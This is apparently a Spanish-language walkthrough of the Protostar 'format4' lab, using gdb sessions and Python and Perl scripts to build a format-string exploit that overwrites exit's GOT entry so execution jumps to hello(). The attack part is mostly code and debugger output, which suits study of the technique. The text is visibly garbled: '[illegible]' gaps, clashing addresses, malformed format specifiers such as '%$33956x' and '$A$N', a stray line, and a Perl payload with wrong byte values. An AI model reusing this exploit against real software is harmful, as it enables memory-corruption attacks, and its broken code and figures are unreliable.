

```
$ gdb ./format4
GNU gdb (GDB) 7.8.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /opt/protostar/bin/format4 ... done.
(gdb) x hello
0x0484b4 <hello>: 0x83e58955
```

```
(gdb) disass vuln
Dump of assembler code for function vuln:
0x080484d2 vuln+0:    push    %ebp
0x080484d3 vuln+1:    mov     %esp,%ebp
0x080484d5 vuln+3:    sub     %0x218,%esp
0x080484db vuln+9:    mov     0x049730,%eax
0x080484e0 vuln+14:   mov     %eax,0x8(%esp)
0x080484e4 vuln+18:   movl    %0x200,%eax(%esp)
0x080484ec vuln+26:   lea     -0x208(%esp),%eax
0x080484f2 vuln+32:   mov     %eax,(%esp)
0x080484f5 vuln+35:   call    0x0804839c <fgets@plt>
0x080484fa vuln+40:   lea     -0x208(%esp),%eax
0x08048500 vuln+46:   mov     %eax,(%esp)
0x08048503 vuln+49:   call    0x0804833c <printf@plt>
0x08048508 vuln+54:   movl    $0x1,%eax
0x0804850f vuln+63:   call    0x080483ec <exit@plt>
End of assembler dump.
```

PLT (Tabla de vinculación de procedimientos)

Quando un programa quiere llamar a una función externa, en lugar de ir directamente a la dirección de la función, primero salta a una entrada en la PLT. La primera vez que esto ocurre, la PLT consulta la Global Offset Table (GOT) para obtener la dirección real de la función. Si la dirección aún no está en la GOT, el enlazador dinámico la busca, la almacena en la GOT y luego redirige la ejecución.

Ésta es la idea completa de las llamadas a funciones externas.

1. yendo a la sección .plt
2. saltando a la dirección especificada
3. Si la sección .GOT no está actualizada vaya a 4
4. La biblioteca ld.so actualiza la sección .GOT y así podemos ejecutar nuestras funciones

```

*0004850f <vuln>: call 0x00483ec <exit@plt>
End of assembler dump.
(gdb) disass 0x00483ec
Dump of assembler code for function exit@plt:
*000483ec <exit@plt+0>: jmp 0x0049724
*000483f2 <exit@plt+6>: push $0x30
*000483f7 <exit@plt+11>: jmp 0x004837c
End of assembler dump.
(gdb) x 0x0049724
0x0049724 <GLOBAL_OFFSET_TABLE +36>: 0x000483f2
(gdb) break *0x00048503
Breakpoint 1 at 0x00048503: file format4/format4.c, line 20.
(gdb) break *0x0004850f
Breakpoint 2 at 0x0004850f: file format4/format4.c, line 22.
(gdb) r
Starting program: /opt/protostar/bin/format4
Hola gente

Breakpoint 1, 0x00048503 in vuln () at format4/format4.c:20
20 format4/format4.c: No such file or directory.
   in format4/format4.c
(gdb) x 0x0049724
0x0049724 <GLOBAL_OFFSET_TABLE +36>: 0x000483f2
(gdb) set {int}0x0049724=0x00484b4
(gdb) x 0x0049724
0x0049724 <GLOBAL_OFFSET_TABLE +36>: 0x000484b4
(gdb) c
Continuing.
Hola gente

Breakpoint 2, 0x0004850f in vuln () at format4/format4.c:22
22 in format4/format4.c
(gdb) c
Continuing.
code execution redirected: you win

Program exited with code 01.
(gdb)

```

```
(gdb) x hello scanner.py
0x80484b4 <hello>: 0x83e58955
```

AHORA HAY QUE HACER LO MISMO PERO CON CADENAS DE FORMATO!!!!!!

$$A = 0x41$$

```
import struct
HELLO = 0x80484b4
EXIT_PLT = 0x8049724

def pad(s):
    return s + "X"*(512 - len(s))
```

[illegible]

[illegible][illegible]

```
import struct

HELLO = 0x80484b4

EXIT_PLT = 0x8049724

def pad(s):
    return s + "X"*(512 - len(s))

exploit = ""
exploit = struct.pack("I",EXIT_PLT)
exploit += "AAAAABBBBCCCC"
exploit += "\x4a" * 4

print pad(exploit)
```

```
(gdb) run < /tmp/exp
Starting program: /opt/protostar/bin/format4 < /tmp/exp
Breakpoint 1, 0x08048593 in vuln () at format4/format4.c:20
20      in format4/format4.c
(gdb) disass 0x080483ec
Dump of assembler code for function exit@plt:
0x080483ec <exit@plt+0>:      jmp     0x08049724
0x080483ff <exit@plt+3>:      push   $0x30
0x080483ff <exit@plt+3>:      push   $0x30
0x080483ff <exit@plt+3>:      jmp     0x0804837c
0x080483ff <exit@plt+3>:      jmp     0x0804837c
End of assembler dump.
(gdb) x 0x08049724
0x08049724 <_GLOBAL_OFFSET_TABLE_*36>: 0x080483f2
(gdb) c
Continuing.

Breakpoint 2, 0x0804859f in vuln () at format4/format4.c:22
22      in format4/format4.c
(gdb) x 0x08049724
0x08049724 <_GLOBAL_OFFSET_TABLE_*36>: 0x00000013
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x00000013 in ?? ()
```

AHORA HAY QUE ESCRIBIR LA CANTIDAD SUFICIENTE DE CARACTERES PARA LLEGAR A LA DIRECCION DE HELLO...



```
#!/usr/bin/perl
use strict;
use warnings;

my $HELLO = "\x00\x4b\x64";
my $EXIT_PLT = "\x00\x49\x72\x2a";

sub pad {
    my ($s) = @_;
    return $s . "\x00" x (512 - (length($s)));
}

my $EXPLOIT = "" .
    "\x41" x (length($EXIT_PLT)) .
    "\x41" x (length($HELLO)) .
    "\x41" x (length($EXIT_PLT)) .
    "\x41" x (length($HELLO));

print pad($EXPLOIT);
```

[illegible]

PARA REDUCIR EL TIEMPO DE ESPERA HAY UN TRUCO:
Primero escribimos los 2 bytes menos significativos con una cantidad mucho menor de caracteres, y luego escribimos los 2 bytes más significativos aumentándole 2 a la dirección.

hello(): 08 04 84 B4

+3 +2 +1 +0 ← offset

GOT: 00 00 00 00,

1. 84 B4

2. 08 04

```
import struct
HELLO = 0x0804b4
EXIT_PLT = 0x08049724
def pad(s):
    return s + "X"*(512-len(s))
exploit = ""
exploit = struct.pack("I",EXIT_PLT)
exploit += "AAAAABBBCCCC"
exploit += "%$33956x"
exploit += "%$n"
print pad(exploit)
```

ESCRIBIMOS LOS 2 BYTES MENOS SIGNIFICATIVOS, DEMORO MENOS DE 1 SEGUNDO..
0x84B4 => 33972 caracteres, hay que disminuirlo en 16 caracteres, entonces son 33956

```
Breakpoint 2, 0x0804850f in vuln () at format4/format4.c:22
22 in format4/format4.c
(gdb) x 0x08049724
0x08049724 <_GLOBAL_OFFSET_TABLE_+36>: 0x000084b4
(gdb)
```

AHORA HAY QUE ESCRIBIR LOS BYTES MAS SIGNIFICATIVOS EN LA DIRECCION + 2, PRIMERO ESCRIBAMOS 30 CARACTERES PARA AVERIGUAR CUANTOS CARACTERES HAY QUE ESCRIBIR

```
import struct
HELLO = 0x0804b4
EXIT_PLT = 0x08049724
def pad(s):
    return s + "X"*(512-len(s))
exploit = ""
exploit = struct.pack("I",EXIT_PLT)
exploit += struct.pack("I",EXIT_PLT+2)
exploit += "BBBBCCCC"
exploit += "%$33956x"
exploit += "%$n"
exploit += "%30x"
exploit += "%$n"
print pad(exploit)
```

```
Breakpoint 2, 0x0804850f in vuln () at format4/format4.c:22
22 in format4/format4.c
(gdb) x 0x08049724
0x08049724 <_GLOBAL_OFFSET_TABLE_+36>: 0x84d284b4
(gdb)
```

33956 + 30 + 16 = 34002 en base 10

34002 en base 10 = 84d2 en base 16

QUIERO OBTENER 804 NO 8D2, ¿Como obtenemos un número menor si solo podemos aumentar la cantidad de caracteres?

En realidad no escribimos 2 bytes, siempre escribimos 4, eso significa que desbordamos los datos que están detrás de la entrada en la GOT para exit, que pasa si incrementamos el numero tal que el 3er byte sea igual a 1? Esto no le importara a la GOT ya que cada entrada tiene 4 bytes, por lo tanto leerá los otros 4 bytes que están fuera de la entrada que nos importa.

hello(): 08 04 84 B4

+3 +2 +1 +0 ← offset

GOT: 00 00 00 00,

1. 00 00 00 00,

2. 08 04 84 B4

108 04

10804 - 84D2 =
8332

HEX	8332
DEC	33586
OCT	101462
BIN	100001100110010

A ESTO LE SUMAMOS 30 POR EL PADDING, OSEA SON 33616

```
import struct
i
HELLO = 0x80484b4
EXIT_PLT = 0x8049724

def pad(s):
    return s + "X"*(512-len(s))

exploit = ""
exploit += struct.pack("I",EXIT_PLT)
exploit += struct.pack("I",EXIT_PLT+2)

exploit += "BBBBCCCC"
exploit += "A433956x"
exploit += "$A$N"
exploit += "X33616x"
exploit += "$5$N"
print pad(exploit)
```

[illegible]

LO LOGRAMOS Y DE UNA FORMA EFICIENTE!!!!!!!!!!!!